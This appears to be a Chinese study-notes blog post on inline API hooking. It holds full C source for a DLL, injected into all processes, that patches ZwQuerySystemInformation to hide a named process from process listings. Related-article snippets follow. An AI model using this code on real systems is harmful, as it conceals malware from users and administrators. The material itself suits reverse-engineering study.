钩取API之代码修改方法【一】

IAT方式就不去花精力了,加了壳的程序用这方法压根用不上。

就熟悉一下代码修改方法。书上用的是隐藏进程的实例

第一种办法

一,枚举进程,给所有进程加载DLL【用远程线程注入】

二,传入需要隐藏的进程名

三,判断有没有修改过需要钩取的函数,如果还没有修改过就改掉,跳向自己的函数,同时保存好原来的值

四,在自己的替代函数里将原来的值修改回去,并再执行一次,执行完做相关处理

五,在自己的替代函数最后再钩取函数,修改跳转到替代函数

基本逻辑就是这样,像是移花接木啊。。。

DLL代码:

#define STATUS_SUCCESS                        (0x00000000L)

typedef LONG NTSTATUS;
typedef struct _LSA_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;
typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation = 0,
    SystemPerformanceInformation = 2,
    SystemTimeOfDayInformation = 3,
    SystemProcessInformation = 5,
    SystemProcessorPerformanceInformation = 8,
    SystemInterruptInformation = 23,
    SystemExceptionInformation = 33,
    SystemRegistryQuotaInformation = 37,
    SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG NextEntryOffset;
    ULONG NumberOfThreads;
    BYTE Reserved1[48];
    PVOID Reserved2[3];
    HANDLE UniqueProcessId;
    PVOID Reserved3;
    ULONG HandleCount;
    BYTE Reserved4[4];
    PVOID Reserved5[11];
    SIZE_T PeakPagefileUsage;
    SIZE_T PrivatePageCount;
    LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
//+0x3c  进程名

//+0x44 进程ID

typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)
                 (SYSTEM_INFORMATION_CLASS SystemInformationClass,
                  PVOID SystemInformation,
                  ULONG SystemInformationLength,
                  PULONG ReturnLength);

#define DEF_NTDLL                       ("ntdll.dll")
#define DEF_ZWQUERYSYSTEMINFORMATION    ("ZwQuerySystemInformation")

// global variable (in sharing memory)
#pragma comment(linker, "/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
    TCHAR g_szProcName[MAX_PATH] = {L""};
#pragma data_seg()

// 全局变量,用于存放钩取函数的前五个字节
BYTE g_pOrgBytes[5] = {0,};

BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
    FARPROC pfnOrg;
    DWORD dwOldProtect, dwAddress;
    BYTE pBuf[5] = {0xE9, 0, };
    PBYTE pByte;

// 这儿取钩取函数
    pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
    pByte = (PBYTE)pfnOrg;

// 判断勾取函数是否已经修改
    if( pByte[0] == 0xE9 )
        return FALSE;

// 修改保护属性
    VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// 保存原函数的前5个字节
    memcpy(pOrgBytes, pfnOrg, 5);

// 计算跳转地址的差值
    // => XXXX = pfnNew - pfnOrg - 5
    dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5;
    memcpy(&pBuf[1], &dwAddress, 4);

// 将跳转代码复制到原函数
    memcpy(pfnOrg, pBuf, 5);

// 把页面保护属性修改回来
    VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);
    
    return TRUE;
}

//恢复
BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
    FARPROC pFunc;
    DWORD dwOldProtect;
    PBYTE pByte;

//
    pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
    pByte = (PBYTE)pFunc;

//
    if( pByte[0] != 0xE9 )
        return FALSE;

VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// Unhook
    memcpy(pFunc, pOrgBytes, 5);

VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);

return TRUE;
}

NTSTATUS WINAPI NewZwQuerySystemInformation(
                SYSTEM_INFORMATION_CLASS SystemInformationClass,
                PVOID SystemInformation,
                ULONG SystemInformationLength,
                PULONG ReturnLength)
{
    NTSTATUS status;
    FARPROC pFunc;
    PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
    char szProcName[MAX_PATH] = {0,};
    
    // 先脱钩
    unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);

// 执行一次
    pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL),
                           DEF_ZWQUERYSYSTEMINFORMATION);
    status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
              (SystemInformationClass, SystemInformation,
              SystemInformationLength, ReturnLength);

if( status != STATUS_SUCCESS )
        goto __NTQUERYSYSTEMINFORMATION_END;

if( SystemInformationClass == SystemProcessInformation )
    {
        // SYSTEM_PROCESS_INFORMATION
        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

while(TRUE)
        {

//处理一个链表
            if(pCur->Reserved2[1] != NULL)
            {
                if(!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))
                {
                    if(pCur->NextEntryOffset == 0)//如果已经是最后一节
                        pPrev->NextEntryOffset = 0;
                    else                                         //将自己这一节剥离
                        pPrev->NextEntryOffset += pCur->NextEntryOffset;
                }
                else        
                    pPrev = pCur;
            }

if(pCur->NextEntryOffset == 0)
                break;

// 指向下一节
            pCur = (PSYSTEM_PROCESS_INFORMATION)
                    ((ULONG)pCur + pCur->NextEntryOffset);
        }
    }

__NTQUERYSYSTEMINFORMATION_END:

// 这里居然用了一个跳转命令。。。
    hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
                 (PROC)NewZwQuerySystemInformation, g_pOrgBytes);

return status;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    char            szCurProc[MAX_PATH] = {0,};
    char            *p = NULL;

// 如果是启动这个DLL的程序就退出
    GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
    p = strrchr(szCurProc, ‘\\‘);
    if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") )
        return TRUE;

switch( fdwReason )
    {
        // #2. API Hooking
        case DLL_PROCESS_ATTACH :
        hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
                     (PROC)NewZwQuerySystemInformation, g_pOrgBytes);
        break;

// #3. API Unhooking
        case DLL_PROCESS_DETACH :
        unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
                       g_pOrgBytes);
        break;
    }

return TRUE;
}

#ifdef __cplusplus
extern "C" {
#endif

//export函数,传递要隐藏的程序名。
__declspec(dllexport) void SetProcName(LPCTSTR szProcName)
{
    _tcscpy_s(g_szProcName, szProcName);
}
#ifdef __cplusplus
}
#endif

时间: 07-19

钩取API之代码修改方法【一】的相关文章

钩取API之调试器模式

描述:当代码调试遇到INT3指令就会中断运行EXCEPTION_BREAKPOINT异常事件会被传送到调试器,此时控制权就到了调试器了,利用这种特性钩取API. 流程:将要钩取的API的起始部分修改为0xCC(INT3),控制权移到调试器后执行想实现的代码后,再修改回去重新进入运行状态. LPVOID g_pfWriteFile = NULL;CREATE_PROCESS_DEBUG_INFO g_cpdi;BYTE g_chINT3 = 0xCC, g_chOrgByte = 0; int _

钩取API应用实例【NtCreateFile】

#include "stdafx.h"#include <tchar.h>#include <io.h>#define STATUS_SUCCESS      (0x00000000L) typedef LONG NTSTATUS;typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer;} LSA_UNICODE_STRING, *PLSA_UN

as关键词还有另外一个用途,那就是修改 方法 的访问控制

PHP是单继承的语言,在PHP 5.4 Traits出现之前,PHP的类无法同时从两个基类继承属性或方法.php的Traits和Go语言的组合功能类似,通过在类中使用use关键字声明要组合的Trait名称,而具体某个Trait的声明使用trait关键词,Trait不能直接实例化.具体用法请看下面的代码: <?php trait Drive { public $carName = 'trait'; public function driving() { echo "driving {$thi

《代码阅读方法与实践》阅读笔记三

之前已经看完了<代码阅读方法与实践>的前六章,基本上也就是看得比较粗略,没有很精细的阅读,上节课听到老师说的“学术交流会”还是很紧张的,挺害怕被问到问题,结果回答不出来可怎么办啊,不仅丢人,分也送给别人了啊,这可怎么破啊.所以呢,我打算近期再看一遍,不管有没有用,算是给自己加点自信吧. 第七章,讲的是编程规范和约定,主要就是文件的命名及组织.缩进.编排.命名约定.编程实践.过程规范之类的,其实这一章也不用我做过多的介绍,因为大家应该都有听各科老师讲过好几遍了,道理大家都懂,但是大家除了在理论上

C# API项目代码正确 ,页面出不来的问题

C# API项目代码正确  页面出不来的问题,截图如下: 解决方法: 在项目里设置好[起始页],就可以了.

BluetoothChat用于蓝牙串口通信的修改方法

本人最近在研究嵌入式的串口通信,任务是要写一个手机端的遥控器用来遥控双轮平衡小车.界面只用了一个小时就写好了,重要的问题是如何与板子所带的SPP-CA蓝牙模块进行通信. SPP-CA模块自带代码,在这里我使用的全部都是SPP-CA的默认模式.其中波特率是9600.读者若要修改其匹配密码,波特率等请使用串口调试工具对SPP-CA使用AT命令进行修改.详情参考其技术手册. 首先介绍Android端,官方的SDK中给了一个BluetoothChat的版本,这个版本稍加修改就可以进行串口通信.由于源代码

《代码阅读方法与实践之读书笔记之一》

阅读代码是程序员的基本技能,同时也是软件开发.维护.演进.审查和重用过程中不可或缺的组成部分.<代码阅读方法与实践之读书笔记之一>这本书围绕代码阅读,详细论述了相关的知识与技能.我希望通过仔细阅读并学习本书,可以快速地提高我的代码阅读的技能与技巧,进而从现有的优秀代码.算法.构架.设计中汲取营养,提高自身的开发与设计能力.此次读了此书的前四章,以下是我从中汲取到的宝贵养分: 从第一章<导论>一节中我体会到了我们要养成一个经常花时间阅读别人编写的高品质代码的习惯,因为阅读高品质的代码

PHP抓取及分析网页的方法详解

本文实例讲述了PHP抓取及分析网页的方法.分享给大家供大家参考,具体如下: 抓取和分析一个文件是非常简单的事.这个教程将通过一个例子带领你一步一步地去实现它.让我们开始吧! 首先,我首必须决定我们将抓取的URL地址.可以通过在脚本中设定或通过$QUERY_STRING传递.为了简单起见,让我们将变量直接设在脚本中. ? 1 2 3 <?php $url = 'http://www.php.net'; ?> 第二步,我们抓取指定文件,并且通过file()函数将它存在一个数组里. ? 1 2 3

Retrofit 2.0 接口API服务代码

接口API服务代码 接口定义有以下的配置方式, 取决于接口的参数需求(使用注解方式标注请求模板接口) // 可以直接在URL中指定参数 @GET("version/android/2.3.0?order=desc") Call<VersionInfoDTO> loadVersionInfo(); // 设置POST请求体 @POST("users/new") void createUser(@Body User user, Callback<Use